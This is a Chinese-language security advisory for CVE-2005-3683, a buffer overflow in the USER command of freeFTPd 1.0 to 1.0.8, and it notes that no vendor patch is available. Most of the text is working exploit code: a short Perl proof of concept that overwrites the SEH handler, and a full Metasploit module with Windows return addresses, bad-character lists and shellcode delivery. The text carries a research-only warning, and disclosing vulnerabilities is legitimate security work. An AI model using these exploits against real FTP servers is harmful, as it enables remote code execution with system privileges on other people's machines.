发布日期：2005-11-16
更新日期：2005-11-21

受影响系统：

freeFTPd freeFTPd 1.0.8
freeFTPd freeFTPd 1.0.7
freeFTPd freeFTPd 1.0.6
freeFTPd freeFTPd 1.0.5
freeFTPd freeFTPd 1.0.4
freeFTPd freeFTPd 1.0.3
freeFTPd freeFTPd 1.0.2
freeFTPd freeFTPd 1.0.1
freeFTPd freeFTPd 1.0

描述：

---

BUGTRAQ  ID: 15457
CVE(CAN) ID: CVE-2005-3683

FreeFTPd是一款基于WeOnlyDo FTP/SFTP实现的免费FTP+SSL/SFTP服务器。

由于没有正确的验证用户输入导致FreeFTPd中存在缓冲区溢出漏洞。成功利用这个漏洞的攻击者可以导致服务器崩溃，或以系统权限执行任意代码。

<*来源：mutsonline （barbsie@gmail.com）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl -w
#freeftpd USER buffer overflow
#barabas - 2005

use strict;
use Net::FTP;
my $user="\x41"x1011;
$user .="\x44\x45\x46\x47";#overwrite SEH
$user .="\x50"x400;

my $ftp = Net::FTP->new("www.example.com <http://www.example.com>", Debug =>
1);
$ftp->login("$user","whatevah");

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::freeftpd_user;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

    'Name'  => 'freeFTPd USER Overflow',
    'Version'  => '$Revision: 1.1 $',
    'Authors' => [ 'y0 [at] w00t-shell.net', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
    'Priv'  => 0,
    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 21],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },
    'AutoOpts' => { 'EXITFUNC' => 'process' },
    'Payload' =>
      {
        'Space'     => 800,
        'BadChars'  => "\x00\x20\x0a\x0d",
        'Prepend'   => "\x81\xc4\xff\xef\xff\xff\x44",
        'Keys'      => ['+ws2ord'],
      },

    'Description'  => Pex::Text::Freeform(qq{
    This module exploits a stack overflow in the freeFTPd
    multi-protocol file transfer service. This flaw can only
    be exploited when logging has been enabled (non-default).

}),

    'Refs'  =>  [
        ['URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],
      ],
    'Targets' => [
        ['Windows 2000 English ALL',       0x75022ac4],
        ['Windows XP Pro SP0/SP1 English', 0x71aa32ad],
        ['Windows NT SP5/SP6a English',    0x776a1799],
        ['Windows 2003 Server English',    0x7ffc0638],
      ],
    'Keys' => ['ftp'],
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Check {
    my ($self) = @_;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );

    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return $self->CheckCode('Connect');
    }

    $s->Send("QUIT\r\n");
    my $res = $s->Recv(-1, 20);
    $s->Close();

    if ($res !~ /freeFTPd 1\.0/) {
        $self->PrintLine("[*] This server does not appear to be vulnerable.");
        return $self->CheckCode('Safe');
    }

    $self->PrintLine("[*] Vulnerable installation detected :-)");
    return $self->CheckCode('Detected');
}

sub Exploit
{
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    if (! $self->InitNops(128)) {
        $self->PrintLine("[*] Failed to initialize the nop module.");
        return;
    }

    my $splat = Pex::Text::EnglishText(1008);

    my $sploit =
      $splat. "\xeb\x06". pack('V', $target->[1]).
      $shellcode. "\r\n";

    $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $s->Send("USER ". $sploit);
    $self->Handler($s);
    $s->Close();
    return;
}

1;

建议：

---

厂商补丁：

freeFTPd
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://freeftpd[dot]com/

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